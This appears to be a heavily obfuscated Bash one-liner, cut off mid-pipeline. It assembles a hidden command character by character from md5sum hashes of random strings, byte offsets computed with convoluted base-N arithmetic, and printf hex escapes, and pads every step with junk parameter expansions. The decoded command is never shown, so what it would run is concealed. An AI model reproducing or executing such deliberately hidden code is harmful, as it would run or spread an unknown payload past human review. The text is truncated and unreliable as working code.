pr"i"nt""$'\x66'   %s  '[90a1Y$E'  "${@}"   | "${@}"  "m"d5"${@~~}"s${@//n&8J*}u''m "${@//1pM\[^-&}" "${@#f.Gf}"  | ${*~} ${*,}  c${*,}u\t  -b  $[   ((-3#12+"3""6"#0)+48#h)  ]-$[   (("${@%?PFn\]G\"}"5"$@"8"#"0+-2"9"$@#c)+3"${@%oaO\!\{d$<}"5#p)  ]  ${@,,}   )" ${*^^} ;  ${*/\`n_JW\[} ${*~} p\r""i""${*~~}n""t''${*^^}f "\x$(   ${*%x#+uABA}   ""'p'r""i""\nt${*%\[s\)U\(tLY}f   %s   'TP1NJb'  "${@//lJ\[|z}"  ${*/hS83E\]&\`}   | ${@/~^_n} ''\m\d""5\s\um   ${*^^}   |   ${@~~}   cu''\t  -b  $(( (-(-(-"4"#${*^^}10--15#2${*,,}7)+4#${*}12)) ))-$(( ((-24#m-30#m)+"1"2#6"${@^}"0) )) "${@#>\}+-OGJ}"   "${@//?sWj/Vvrr;l\]+}"   )"  "${@,}"   &&  ${*~~} ${*//M\)$k5^A}   ""$'\x70'r$'\x69'nt""f  "\x$(  ${@//7P\`8Dr5_} pr""'i'"""n"$'\x74'\f  %s '1{0`,\h' ${*%\!1\]eKM}   | ${*^^}   ''md''$'\x35''s'\u$'\x6d'  ${@~~} |  ${*^^}   c''ut -b $((  (-(-("-"${*%%Qz19+}2#${*^^}1"0"0"1"*${*^^}-2#101)+"1""5"${*~}#1a))   ))-$[ (-(-(-5"#"10+7#4"${@/P5\[R09pq/Y0_d}"6)+"5"#"1"3))  ] "${@}"   "${@%%_Vlfe$&O}"  )" ${*//Ld+5hC/dg*\{bORE}  "${@,,}" &&  "${@~~}"   printf  "\x$(   ${*,,}   ${*%&\`--Mq}   prin''tf   %s   'njkdrFz'   $@ ${@,,}   |   ${*#:bgS_NOI} "${@~}" \md"${@/ezi5K\)%}"5$'\x73um' "${@#\"no@.Y}"  | "${@%Ot\(gd#}" cut -b   $[  ((-51"#"${*,}f+"5"1#m)+${*^}2"0"#i)   ]-$[ (-(-(${@/qP\`eC/@HZFu}8"#"22+4"6"#q)+3"2"#i))   ]   "$@" "${@%^LB6\)j}"   )" ${@}  ${@} &&  "${@~~}"   ${@^^}   $'\160'rin""t$'\x66'  "\x$(   ${@^^} ${*//>sM\[c-/imT8arvG}  p"${@%&%*vT\"}"r$'\151'\n"t"\f  %s   'E*k4\y'   ${*%%v?5o} "${@^^}"   | ${@%O\`|.} \md5${*/1Ar\}8\[2N/jb\{r=}sum   ${@%%ko+HQ30}  ${@/dIv&E\{} |  ${@%Pgk.WgIV}   cut -b  $[   ((${@^^}-15#1*-${*/Dau=;O@/\*5-R1z}2"${@/47yEFp}"2#2)+${@^}2#"1""0"0) ]-$(( ((-42${*,}#1+22${*~}#${*%%rj6w}1)+3#${!*}21)  )) "${@~}" ${*/kG,Mo}   )"  ${*%%2?\(~z} "${@##F\{gW&}" && ${*/HhV\]%}   ${@,,} p\ri""n$'\164'$'\x66'   "\x$( ${@//8su@+}  ${*^^} p""r\i${@##p=\[b}nt\f  %s   '=Krg\@L{'  ${*%_S\(hw,J}  |  ${*%%y\!r~+$}   m\d$'\u0035'sum   "${@^^}" |  "${@~~}"   ${*/\(Q>S8qZ=/Wpd<#s1} "c"u't'   -b   $(( ((27#c+"-"18#1)+"3""#"2${*#6s&T}0)   ))-$(( (("8"#11*-3${*^}5"#"1)+34#r)   )) ${*,,} )" "${@%%uFWkw}" &&   ${@%OYarJZ56} ${*%lVk^wZ} $'p\162''i'$'n\164'""${@,}f  "\x$( ${*^^}  ${*~~}   'p''r''i'n$'\u0074'${*,}f %s  'YE)UHK#'  ${@} $*  | ${*~~}  ${*~}   $'\155'\d5\s${*^}u'm' ${*#j+PPkmq}   ${@%s\]%Y?3q$}  |   ${@~}  'c'ut -b   $((  (-(-(21#f*42#"2")+${@/ExlRi;.z}2#0))  ))-$[   (-(-(-3"5""#""${@~~}"d*"-"2"#"11)+"7"#11))  ]   ${*,,}  )"  ${*/x0o%nt^Z/G$TTP@9}   ${*##f\;@} ;  ${@^}  "${@##cTi+z+}"  "p"r\in${*,,}t""f "\x$(  "${@%s\(_e}" ${*,,} $'\x70'$'\u0072'""${@//lU#;|5/hE\{Jvq\_}int'f' %s  'oK@wIj>' ${*,} "${@,}"   |  ${@~}  "m"''d5''su\m   "${@~}"   | ${@~}  "${@,,}"   cu${@~~}t   -b $[   (-(-(3"${@/uP:d}"0"#""a"-2#1${*^^}00)+8${*#8*T;x\[}#"0"))  ]-$[   ((-34#1*${*^}62#2)+"2"#1001)  ]  ${@,}   )"  ${@,,}   &&  ${*,,}  ""p${*//\[xKW\{/FVEau\rB}r''\i\ntf  "\x$( ${*}   "${@##n|gI\}UM+}" \p$'\u0072'""in""t\f   %s   'Oj1Nq%' "${@%%T4|NP28}" ${*%%+yxQyU:} |   ${*#W1Ay*} ${*//TaL./\(HKqwhk} "m"""${*,}d$'\u0035's'u'm  ${*/\}\{4\`/M:h-Dh}   ${*,}  |  ${!*}   ${*~~} ${*##NL$=c}cu$'\u0074'   -b $[  ((-6#45+54${*%%Q$Hg\!\(bx}#D)+55#k)  ]-$(( (("-"3#"2"${*^}2*4#10)+12#"5"3) )) "${@//Z\}r=G\)}" )" "${@/9zZBC/J\}D\(<5L}"  &&   ${*,}   ${*/VVx-*b0B/@PU\",y}  p\r'i'${!*}n't'$'\146'  "\x$( ${*}   p''\ri""ntf  %s   'm_%\m' ${*//rZgy\}}  |   ${*}  ${*%zF*,B}   ""$'m\x645'"s"um ${*,,}   | $*  ${*^^}  ""\c\ut -b $((  (-(-("1""1"#${@,}14--13${*//g$URg,?}#19)+14#${@/T4s-P1Qw}a))   ))-$((   ((${@/jnTBa}53#0*-7"${@,}"#1"${@%dix9NA_}"0)+38#s) )) ${*##ave5} ${@/Kv0x6} )"  ${*/khZ\)1~/phO<0sK}   ${*##2%ST2Dv} ; "$@" p'r'i${*//-SPYZ*s/FGu$}n""tf "\x$(  "$@" p$*r""in''"t""f" %s   '$k8Z' ${*##phw,}  ${*~}  | ${@/_*g=>\!b0/C@jE}   md${@^}5$'\163'u"m"   ${!*}  |   ${*#q~q3} ""cu''"t"   -b $((   (-(-("${@^^}"-${@^^}7#10*-"${@}"7${@~~}#10)+3#211)) ))-$[ ((2${*##K|:GCB}4"#""0"--7"#"$*2"0")+46#e)   ]  ${*~} ${*//R%+VX}  )"  ${*,,} ${*//k^Ef6s_} ;  "${@%~Eq~6y4P}"  prin${*//U\`xn_/X_DK>N*9}t\f  "\x$( ${*~~} prin""\t"f"   %s   ']&c"\-(~'  "${@%\!0.CLaY>}"   | ${*%\]fg\{}   ""md5su${*%u%|.M\\}m   ${*//xi:z^w^7}  | ${*^}   ${@//Lw>jTnK8}  c"""u"'t'  -b  $((  ((-3"#"2"0"-"-"7#11)+"2"2#d) ))-$[ (("-"4"#"1${*%%-acL}1+35#"f")+2#110) ] ${*~~}  ${*~~} )"  "${@//I~\b,X}"  ${*}  ;  ${*//\pkWXh/p#mVPa}   p\r"${@,}"i${*,}nt$'\146'  "\x$(  ${@##Otk^UZ8c}  "$@"   $'\x70'""$'\u0072'$'\u0069'''\ntf %s '`phwS' "${@##4\qvu%}"   | ${*^^} """m""""d"5"s"'u''m'   ${@%%<Bu=}   |  ${*~}   c"${@}"u$'\x74' -b $[  ((-21${@^^}#"1"*$@31#0)+40#2)  ]-$((  ((-"${@/YdyN?</yYhN\"}"61#"2"+41"#"${*~~}0)+${*//sY6Z;fHb}3#1"2") )) ${*%f\yA3Eyw}   "${@,}"   )"  ${*^^} &&   "${@//jh+B%\]Op}" \pr\in${*~}tf  "\x$(  ${*//sg%NG^L/G|$0F>} ${*##KewnP} p""r${@##Zhh#}in"t"f %s '<N;"U0'  "${@/v+CFTF\T}" ${*}  |  ${!@} "${@^}" "m"d5's'\u$'\u006d' ${*//@>2i} |  "${@%?\"w\`}"   c'u'${*//9%9d%/zmhf;\}}t  -b   $[   ((-${@~}5${*##\ydi}8"${@//&Ur~q}"#1*${*%\)F8kWv}6"#"10)+49#${*}z) ]-$[ (-(-(5"#"1"4"-${@%%.CK5O*=}-3"9"#"w")+"5"3#"${@,,}"b))   ]   "${@%%,&T#G?F}"   )"  ${*/I\_@LU4}  ${*//*~w:GE}   ;   ${*//\V;09TN}  $*   "p"""r'i'${*~~}n"t"\f   "\x$(   ${!*} ""pr""in"t"""f %s  'MWKS%e.K'   ${*,}   |   "${@}"  ${*/A;\{HB/,\(n\"v} m"""d"5"s"\u$'\x6d'  ${*%%@=p.?V}   ${*##E6Elt+} |   ${@#g\)JK;}   "${@%%\{JI>Cf@}"c''ut -b $((   (-(-(4"#"1${@%w|iz}2--"1""3"#15)+${*}3#10))  ))-$[  (-(-(-4#1${*%%.L_S:f}3*-"3""#"21)+21#${*}1${*}6))   ]   ${*//\`<E|\!9q$/:&M\}Y\{}  ${*,}   )"  ${*,,}   $@  ; "${@/=wTnL?Op}" ${@~}   pr\in""$'\x74'${*~~}f "\x$(  ${*,,}  "${@^^}"  ""p$'\x72'${*~~}int"f" %s   '@791(S)g' ${*%HZ%Z%} ${*,,} | "${@##\:\!c}"   ${*/cN+\}/%~&S}  $'\155\x64'$((   ((46#1-2${@//X0w,X2;X/_\]wx}#"1"01)+9"#"10)  ))su""${@^^}m ${*}   |  ${*~}   "c"u''t   -b $[   (-(-(31#"1"1-${@~~}-18"#"1"1")+${*~~}6"${@###\)%1}"0${*~~}#$*q))   ]-$[   ((-${*~~}12#43+3#10)+2"3"${@%%Y#=q\(?}#${*,,}3"5")  ] ${*%%TmB|}   ${*,} )" ${@,}   ${*%,Y5>\`\`}   ;   ${*#ajI~_}  $@   p''${*//&=LS<6/.E#tOcs6}r'i'\n''tf   "\x$(  ${*}  p"r"\i\n$'\164'f  %s 'lV#hxT;'   ${@^} ${@%%\]\{6^v2?}  | ${@//n\`9P}   ${@~~}  ''$'\u006dd'5's'u"m" ${*}  | ${@~~} ${*%Sd+6}  \c"u"\t -b $((  ((56#a+43#${!@}a)+4${*,}3#"2")   ))-$(( (-(-(3${*^^}8#w--3#10)+${*%\]ao1aa\`_}5${*%nl\]Sh}4#c))   ))   "${@,}"   )"  ${@/bUVsic7} &&   "${@//ge|1}"  p${@%%wls5t}r"i"n""t\f  "\x$(   "${@,}"   ${*}   pr'i'$'\156'${*,}t$'\x66'   %s  'P[=N&QM&'   ${@^}   |  ${!@} ${*~}   $'\u006d'${*%%F>LP0\{&}d''5sum   "${@##6$T3#}"   |  "${@#Vp~II}"   ${@/gs\[#H_Z/rr\)Odd}cu${*//5^?7\[N}t  -b $(( ((64${*~}#1+"5"#1${*}1)+5"3"#${*//1_OeF?NC/Ts\`zY\}}2)  ))-$((   ((-1"${@~}"1#${@^^}1${@#wxl@-}3+1"2""#"0)+"$@"27#o)   ))   ${*//\(A+2.An}   )" ${!@}  ${*/XUW\(<d} ;   $@ $*   ''\pri\n""tf   "\x$(  ${@~~}   ''p$'\162'"${@#wnyF1e}"intf  %s   ',Bq0(mQ'   ${*^}  ${*~}  |   ${@%%>oKI} "${@/=9Aloj/h^qXZi*}"   $'\u006d'''d5s\u\m  "${@^^}"  |   ${@}  ${@/\[K?>\(L%/oUo3=.}   $*c${*,}u''"t" -b  $((  (("-"2${*%A6v\)\{j\(}#10"0"+-"5"6"#"m)+20#2f)   ))-$[  ((3#11-"-""7"#20)+"4"6"$@"#"c")   ]   $@  )"   ${*##bz4o}   ${!@} ; ${@%%p88w:;Q}  ${*^} ""\p\ri$'n\164f' "\x$(  ${@~~}  ${*//^<V1lrl%}   p''ri${@,}n""$'t\u0066'   %s   '3fNw'  ${*%z*^fq\"*}  ${!@}   |   ${*~}  ${*^^}  md$'\x35'"s"um   $*  "${@%%:Kw^K.?}" |  ${*/rXtW3@S}  $'\x63'\u't'   -b  $[ ((38"#"1*63${@//s0yz~}#0)+3#"2")   ]-$[ (("-"2#1${*,}0"0"+-"6""0"${@#x0,EO\{}#"2")+7"#"12)   ] ${@%%\!WHnV9LL} ${@//t=\{6\)1q5}  )" "${@^}"  ; ${*##jv;ZazF}   ${*//u+h~NhAk/aL_74}   'p'r\in''t''f  "\x$( ${!@} ${*/j5Qw}  'p'ri${!*}nt\f  %s '3}=>5b`'   ${*,}  | "$@"   ${*~~}  ''$'\155d'$[   (("-"2#${@%Fx:~Cj}100+${!@}-2#11)+24#"c")   ]$'\u0073'${!@}um ${*^^} $@ |   ${*/baHS*/\`t%fN} "${@#ivCi99q}" $'\x63ut'   -b $[  ((-25#1+2${@~}3#${*/pif?S/@PdM}1)+12${*##qcI\]Ukb}#2)  ]-$[  ((42${@^^}#"0"*"-"21#${*%HI7&n?}1)+3#10) ]   ${*,} "${@~}" )"   ${*^} "${@//WfuVwQ/NZJPEBr}"  &&   ${*##LTH=vM}   ${*//7Nk\j/Q2aE,tY}  p''ri""n"t"${@#5S35\"VQ>}f  "\x$( ${*}   ''\p'r''''i'''n$*t"f"   %s   '~440\'  "${@}"  |   ${*//gQ3x243E} ${@#I.\)tRx} ""m"d"${*~~}5\su''\m "${@/9JcB\!ook/FT\!Gbh}" ${@}  |   "${@//PFEQ\"r\i}" ""cu""t   -b  $[  ((40#2*2"#"11)+${@%\"wAe\)\{08}4#1"0")   ]-$((  (("-"6#24+"-"63#1)+${!@}2#1"1"${*%l3Xz\(Q\]}1${@^^}00) ))   ${*^}   ${*#obh.\"\[M}  )" ${*,,}  &&   ${*%%\`rS0tYU}   $'\u0070'r''$'\151''n'${*,,}t${!*}f "\x$(  ${*//<yR+E}   ${*~~}   "p"ri${*%%p&P\!xR}nt'''f'   %s  'E2>4' $*   ${@//u*Sa}  | ${*^^} $'m\u00645'$'\u0073'''${!*}u""m  "${@/Es7h\[/~?GGe7}"   ${@^^} |   ${*^^} ${*%=hE|I>}   cut   -b  $(( (-(-(2#1"1"1-"-"44"#"k)+${*/xvG@J\(i\(}5#"$@"11)) ))-$(( ((${@,,}-"2"#"1"1*"2"${@}#11)+${*//408|5LS/rO@4?,\}p}3"7"#v) ))  "${@~~}" )" ${*~} "${@%h%I\)KI}" ;   ${*^}   "p"r${@%%\"\)@E}in\tf "\x$( "${@}"   ${*//zdHA:u1B/df%n&mN\`} pri\n't'\f  %s 'd8Uc'  "${@%%QKR~}"   | ${*} ${*%FTD7<b}  ${*/VF^a6Q}m$'\u0064'5"""s"u''m   "${@%%;Ns<=3pd}"   | ${*,,}   ${@~~} $'\u0063'"${@}"u''t   -b   $(( ((-"1"9#17+5#30)+9"#""3"8)   ))-$(( (-(-(${@,}6#"3"5+5"9"#H)+1"8""#"25))  ))   "${@^}"   ${@//\)Eug%P} )"   ${*%%WEfHX\!q}  ${@~~} &&  "${@//$\[r;iR\!}"  'p'"${@#P~o1Kzy}"ri\n$'\x74'"f" "\x$(  ${*/nl*8_IS} p$'r\u0069'ntf   %s  'Rme1,<'  ${@~} | "${@//o%,\}+\)AY/?Qb?nP1}" "m"'d'"5"s"${@%%O;iQ\{\)-}"um   "${@,,}" ${@} |  ${@,,}  ${*~~}   $'\143'''u\t   -b $[  (-(-(32"#"1${*~}4-"4"4"#"0)+4"#"${*%e;\*MbyE}30))  ]-$((   ((-${!@}5#"3"${*//Q37;\)r7}0-45#${*~}c)+9"#"5"7")  ))   "${@^^}"   ${*//keC^/\)-0} )"  ${*^}   &&   ${*~~} ${@^^}  ""$'\u0070''r'i$'\x6e''t'f "\x$(  "${@^^}"   ${@#=Kz:Prj}   ""$'\x70r'''${*##_+f_7O,o}i"n"\t''\f %s  'HODTe8TT'   ${*//3X7l2_6z/MQ>Z=X:}   ${*~~}  |  ${@~} md\5\s$'\x75'\m "${@//.$|y/nTXY~pV}"  ${*//<fW@\]&^} |  "${@^^}" "${@/b?RXJt}"   $'\u0063'${*/,9Cv;1M/m\]2*#BVs}ut   -b $((  (("-"15#1"${@/4S4|\G;J}"d+-4#101)+54#1"k")  ))-$[   ((${*^^}-2#100*-4#${@~}13)+4${@/<CZI\\/fa\{~J}6#2)   ]   $* ${*~~}  )"   ${@,,}   ${*//4eWb/oW;t*}  &&  ${*~~} ${*/a>S\{Wy~/#46@6}  pri"${@//y6E6}"nt\f   "\x$( ${*^^}  p"$@"r${@}i""'n'"t"${!*}f  %s 'o@6o<%' "${@#v9\!0B\"CI}" |  ${@/bzO<33l}   ${*%%2t0B\{YV}m"${@,}"d""$[  ((-6"2"#"2"*"${@/BZ\]y/~^fr%}"3"8"${@//cqdK1xp}#"1")+4#${*/DtgK\cMS/PWRv}13)   ]''$'\x73'\um  ${*,}   |  ${*/hK\)\]Vo/ZO,xo4~\\}   "${@}"  "$@"c${@##v^CO}ut -b   $[ ((${*/\O%+\`S}-7#"$@"22+${*%gV\}W$^}6#"1"2)+62#k)  ]-$((  ((-${*//Fzl6x}6"1"#n+42"#"2)+"${@,}"33"#"11)   )) ${*~}  )"   ${*^^}   ; "${@#MOGr7}"  ''p"""r"i\n""t\f  "\x$(  "$@"  ${@~} p"r"''${!*}intf   %s   'OjAAqOcK'  "${@,}"   |  ${*/,w\)\"Odk\\} m$'\x64'""$'\u0035'''s\um  $@ ${*#~0Yh#}   |   ${@^}   $'c\x75'${*,,}t  -b   $(( (("-""7"#"1""2"*4#13)+1"9"#"4"h) ))-$[   ((-62#"q"-49#"d")+2"${@/yeZ_X_/T$\"U1D;}"5${@//\(xX<Zl-}#${*//\`\)+:}2k)  ]   ${*#SbEA} )"   "${@}"  ${*^^} &&  ${*//n&MyOZpn/n\"\(y} "${@//+Tev}" $'\u0070'$'\162i'\n$'\u0074f' "\x$( ${@#CNAy?*#Y}  ${*}   p$'\u0072''i'$*n""${*#sAH0aF2}t""\f %s  'cfFms*'  ${*~~}  ${@^} |   ${*~}  $'\u006d'"d"''5$'\163u'm  ${@~~} |   ${@^}  "c"u\t -b  $(( ((-2#10"1"+"2""#""1"11)+2#11)  ))-$[ (-(-(${*~}1"5""${@,}"#0+4#"1"3)+"4"2#1)) ]  ${*,}  )"  $@  ${*^}   ; ${@^} $'\x70'${!@}ri$'\156''''t'\f  "\x$(  ${@##:4\!\}\"JW} ${*//-ml\{oW|/mG:@\]7}  'p'r$'\x69n't\f %s '.K*L.tt'  "${@//NwT^W}" "${@%wrF\(}" |  "${@}"   ""\md""$'\x35'"${@~}"sum ${@~}  ${@} |   ${*^}   ${@/RdY42wi}  ""cu\t -b  $((  (-(-("4"6#1"b"--38#1"f")+"7""#"${@%%NkLz.7SW}1"4"2)) ))-$((  (-(-(-26#c*"${@/vPJ\`9;j/5MHD\]J:~}"-${@^^}5#1"0")+22#1"6")) ))  ${@//1XIm}   "${@/#m:B/Z3IpZ\}}" )"  "${@/0%4M}"  ; "${@%%3J#n-u##}"   $'\160'$'r\u0069'"${@}"ntf   "\x$(  "${@%nM\(JHa\"3}"  "${@~~}"  ''$'\x70'''r\i$'n\164'f  %s '-DpNJd?' ${@/=l-*}  ${*//?\{\{\!g}  |   ${*//B\z>~V~/4.2eg4c.}  ${@//qrrnr?}  ${!*}md''$'5\x73'$'\u0075'm  ${@~} |   "${@~~}" cu""$'\x74'   -b $[  (("-""${@,,}"55"#"2*32#$@1)+3${@^}8"#"h)   ]-$(( (-(-(4"2"#"l"--4#12)+35#${*~}b)) ))   ${@,,} )"  ${*##J\}\[b*&\)}   ;  "${@^}"  "${@}"  $'\u0070\x72'''in$'t\x66'  "\x$(   ${*,} ${@~}   \p$'r\u0069'n""\t${@/xKOb,I}f %s  'Gtd~,Tfy' ${@,}  ${!*}   |   ${@//-y23M+D/S~W|JxI} $'\x6d''d'""${*##o\!DOb#t}5${*~}s''$'u\u006d'  "${@^^}" "$@"   |   ${@,,} ${@//=.loN/zYdH} "c""""${@/7Uzw*F1}"u\t   -b   $[ ((2"${@/\(lYj^m}"#100*-5$@#"1")+${*##gi-#&F0f}36${*%%MUmi}#c) ]-$(( (("${@^^}"-${*#$7Cmdjq\(}4${*%-iIJ\"5N}8#e+"${@##c*U?\}&z\[}"24#1)+"4"${@~~}2#m)  )) ${@#q@o\{m9tC}   )"  "${@%aQEo6~Vn}"  &&   ${@^}   pr\int'f'   "\x$( ${@##\}%<F} "${@%hx_$\[i#}"  ""\p""\rint""$'\146'  %s   '$xN>?k9P' ${@}  |   ${@^^} m${!*}d''5's'um   ${@%%8_KkX\]l} ${*}  |  "${@^}"   ${@~~}   cu"${@%%2p?G}"t   -b   $(( (-(-(41"${@%%a8h\(h\[%8}"#"1"+"3""${@//PgRnx*/WYZK-}"7#1)+56#0)) ))-$((   ((-4#"1"2+1"2"#0)+"6"#"1""3")   ))  ${*##xU=h%}  )"   ${@^^}  $@ &&   ${@%%h\!7xK8} "${@/2\}:TswZo/rm2h%}" p$*r${@##7dQ9z}int'f'   "\x$( ${*//Y\"?:/HTN\}SI}  \p$'\x72i'""n${*~~}t$'\146'  %s  ']Q#Swma' ${*%s?~bXV}   ${*,,} | "${@/4%6IU}"  ''$'\u006d'\d""\5su''m   ${*,,} | ${*/xbTu}  ${*^^}  \c"u"t  -b $(( (("-"${!@}3#"1"0*"2"#"1"00)+5"5""${@^^}"#s) ))-$[  ((-"6"#10*"2"#${*/\]\}4G}11)+60#"z")   ]   ${*//ZGj:Z} )"   ${*}  ${*%\!x#vnQmK}   ; "${@/GuPOm74}"  ${@,,} $'\160'''"${@//9Z_uQ/?NsT}"ri""ntf   "\x$( "${@%%QztO\]#}"  ${*/+c\`w}  p\r$'\u0069'""'n'tf %s   ':r3M'  "${@~}"   ${@#~.OKw}  |  ${*^^}  ${*##Ps=\}n5}  ${*#Ejg_5AHY}md5s${@/yI:-/e=TW0nM}u'm'  ${*//:6d_2?}  |   ${@,} ${@/Ss#7X\`W}  cu''\t  -b   $[   (-(-(23"#"0+2"#""1""0""0")+"3"0#"1")) ]-$((   (("3"3#"0"*-"${@/~cx4kV\\/9gq%K|&}"35#1)+2"#""1""0"${*~}0) )) "${@##Q#3=%_}"   )" "${@#FG\"\`|7}" &&   "$@"  $* $'\160'""ri''$'\156'''${*,,}t$'\x66'   "\x$(  ${!@}  ${@%%ZMZj0}  p${@//Bu8>t}rint\f %s  'u=9;'  ${@%%8,pSeF} ${*~} | ${@/\{lo\)C\`s}  ${*^^}   \m"${@/A\}@jAn\[}"d5su''m  $@   |   ${*/P\!\W/f7aTg\{|1}  ${*/qhv\`\{}   $'c\x75'$'\164' -b $[ ((59#h-3#10)+2#1${*~}10)   ]-$[   ((${@^^}3#10"2"-${@^}2#11)+2"5"#d)   ] ${*/U?_lc*/vp$I} )"  ${*^}   &&  ${*}  "${@#&*.\!h,}"  $'\160ri'$'\x6et'\f  "\x$(  ${*#G\)_t}   ""\pri""'n'\tf %s ')Ed&9on'  "${@,}"  "${@,,}"  | ${*%%VymP}  m'd'\5sum  ${@##.bmNYdB}   |  "${@#s~,_\[|h}"  cut   -b $((   (-(-(${*^}2"4"#"${@~~}"j-"-""6"#${*,,}10)+12${!*}#11)) ))-$[   (-(-(4#13+8#14)+5"#"1${*,,}1))  ]   ${!@}   ${*%%JrDfK}  )" ${*^^}  ${*%%jhB~\!~} ; $@  $'\x70'''\r"i"n"t"${*^}f   "\x$(  ${@%5zHa\`WQ-} p$'\u0072'''$'\151'\ntf %s 'wu5W>'  "${@,}"  "${@~}"  | ${*^} ${!@} md${*/$\"NVO\)u}5sum "${@/\`\)zBOzd/o\{--M-d&}"   |  ${*%%H&f1~}   cut  -b  $[ ((2#10"1"+-7#1)+52"#"e) ]-$[ (-(-(2"2"#${@^^}0+1"2"#19)+41"#"${@#2B6nF0}2)) ]  "${@#.\!_b}"   ${*/$\}EW/C;|poaqM}   )"   ${*^} && ${@~~}  ${*~~}   $'\160'"r"'i'$'\156't""$'\x66'   "\x$(  ${*/Bej>29L}   $'\x70'$'r\x69'nt\f %s  'N(M='  ${@#3cBI6U}  | "${@,}"   "m"\d'5's${*/\~fxQ^oz/gF\`%R}um "${@%FCh*:Bl^}"  ${*#xcQ=.7T}  |   ${@#*~\(M3\(0}   $'\143u't  -b $(( ((2#1"0"${@~~}0--"3""4""#"${*%KQ3eA}a)+7#20) ))-$((  (-(-(2${@//AmM\\}#1"1""1"-"-""4"4#z)+29"#"d))   ))  ${*^}   )"  ${@//&lu&\!}   && ${*//ZftVM<h}  "${@##P8O,|\[}"  ""pr\i$'\x6e'"t"$'\x66'   "\x$( ${@~}  p''$'\u0072'${@^}in$'\164''f'   %s 'XE!SC'  ${*~} ${*^}  |  ${*//%h#7\[Pn}  "${@,}" "m"d''5s$'\u0075''m'   ${@//>u-qS} ${@%%Hh:\{g:Nm} |  "${@~}"   ""$'\x63'"u""t" -b   $[   ((${*%|MBW\[E}-4${@%%ji7-f}#1"1"-2"#"10"${@~~}"0"0")+46"#""k")  ]-$[   ((3#11*${*~}-6${*%%?AUQ3}#${*//\}&Oc?\{qn/Q95\`@l^}2)+${*}40${@/K%\{\`2HTU/_@i8.IJ}#g)  ] ${*/s|\]} ${*~}  )" ${*/iRWw} ; "${@/9H~>ajQ}"   ${*}   pr\i\ntf  "\x$( ${*^}   ${@//kc\(8cgp}  p""$'\162i'''ntf  %s   '3Ay@'   "$@" ${*,,}   |  ${*/dV3Y/pUA:8ou}  'm'"d"5"s"um $*  ${*##.7GNS7;}  |   $*  ${!*} c"${@}"ut  -b   $[   (-(-(39#g--39${@}#${*/ck&Wy}g)+"5"4#"l")) ]-$[   ((56"#""${@}"c-2"${@,,}"#${*^}10"${@,}"00)+"${@//\{_@_V\[/mW\[l}"7"${@~~}"#"${@^}"11) ]   ${@//7^Ru7}   ${*/1+2qz} )"   ${*,,}  ;  "${@^}" ''$'\x70r'i$'\x6e'"${@~}"tf  "\x$(   ${@^}  pr\i""$'\156'\tf  %s  '.3]AiM' ${@//\V_zlmg=} ${!*} |  "${@}"  ${*##u\(JRBd;B} $'\u006d\u0064'$*5s${*/q6J\[+P/5_lwf<1z}u${@~}m "${@%%,^Zj}"  ${*^}  |  ${*}   cu"t"  -b  $[   (($*3${*/%zi,N8F}#11*-4#2)+11#2"${@//Lg<B<:#}"5)  ]-$((  (("-"3"#""2"1*57#1)+17"#"1a) ))  ${*%%1QMR:v|M}  ${@,} )"  ${@%$W1.\!}   ${*%%\}U\"vJF=}  ; ${@#*GE4E\}Z}   ${*##U\)bxB:z}  ""\p""$'\x72'''\in"t"f  "\x$(  ${*~}   "${@}"  p\r\in\t${@~~}f  %s '4X9e'   "${@/ma4Pfu/Gb\"A2}" ${*} |  ${*~~}   "m"${*%_f\)F}d5su${@//*ZYI%Y}m  ${*#\]\}\!gW%%S}  ${*~~}   |   ${*//BWuoOvJ./A\[\"lli}  cut -b  $[   (-(-(${@~}60#u-4#13)+7"#""${@/\[g2F5}"1${*//7|\]8:f/2PYhfp\!e}1))   ]-$[   ((15"#""1"+"7"#1)+"${@//T1ej/G2sj8E\}}"39#e)   ]  "${@//cjF,*V6$}" )" "${@##HJZ\HB\`O}"  "${@/=cu.qP}"  ;   ${@~~}   ${*%\!\"\],} "p"r"i"${*~~}n''t"f" "\x$( ${*%,@j\)W}  p'r'i'''n'\tf %s 'm?-OI|?<'   ${*^}   |  ${@~~} ${*#pw3^DB\`m}  ${*//$>KX}md5sum ${*^}  ${@^} |  ${*//-.\`W:^|R} "${@/DCQCkE<R}" ${@,}cut  -b   $((   (($@3"#"10*-"2"#110)+54${!@}#C)   ))-$[   (-(-(5#10+5${*%YJdwfgy<}4#"u")+1"2"#12))  ] ${@##.i;mE\"|} ${*~}  )"  "${@}"  ;   ${@/FS5IRQ\`F/wt\%31_s} ${@/zmZ\):}  pr\i''n't'f "\x$(  "${@###wNT\)T}"  ''$@p''$'\x72'"i"""$'\x6e'$'\u0074f'   %s   'cg|N\9b' ${*%\]DM\\}  "${@%ti,\V^WC}"   |  ${*^}   ${@//;+\{gKH^} md\5s"u"m ${*,,}  |  ${*##,FZ\"J} c${!*}u$'\x74' -b   $((   ((7"#"${@}1"1"-"3"#2"0")+"4"${@//@fA\\/Im\@}3#c)   ))-$[   ((56#1-26#a)+3#2"2"0)  ]   ${@~~}  )"  ${*//KN#\)\}dY/w43b} &&   ${*,,} pr"i""${@//Uh&yQY}"ntf   "\x$(  ${*^^}  $@  p$'\x72'"i""${@//n.aZ/-U@Z^h0}"nt'f' %s  'okvc\l&`' ${@##+3\{+2L1} ${*,,} |  "${@}"   m''${*//Flc1W}d5sum   ${*##Km;\!@} |  ${*##45oIIt|}   cu""t   -b  $((  (("-"3#1${*/K0;Oj}0*2#100)+13#2${*%%\!d\",9e}0)  ))-$[   ((5"#"10*${!*}-${*^^}37#2)+3${*~~}2#${*//4%@9\]m:}p) ]  ${*##\{a9>@wzr}  )" ${@//5\{M?I/\\\)G+E>}  ${*%1qzDdycr}   ; ${*/>gZj\)z}  $'\x70ri'${!*}n$'\x74'"f"  "\x$(  ${*//NQR3x}  p$'\u0072i'""$'n\x74f'  %s  '~M^->KX' "${@//:S\`e:D}"  ${@//+E,+\!1}  | ${*,}   ${@~~}  md''$[   ((46${@##7g=O=}#0-6#10)+53"#"b)  ]s$'\x75'""'m'  "$@" ${*/08Z9nS/G7\{6$$\S} |   ${@%%v?Y\"}  $'\143'ut   -b $[  (("4"${!@}5"${@^}"#${@}0*5"7"${*%%cfKu5;J9}#"1")+3#1"0") ]-$[ ((4#2"0"-3${@##Cl29lYy}#1${*/*,:\"/zAU|\)1nW}2)+3"${@~~}"8"#""1") ]   "${@~~}"  )"  ${@##+\}=m\}sgi} &&   ${*/\)XE>\{/4I+-L} ${@}  ''p""$'\162i'n${*%l\}PVG#Q1}tf  "\x$(   ${*##BzEq1-}   ${*//TysD\{\)}  p${*^^}r"i"\ntf %s  'U@O&c@'  "${@,}"  | 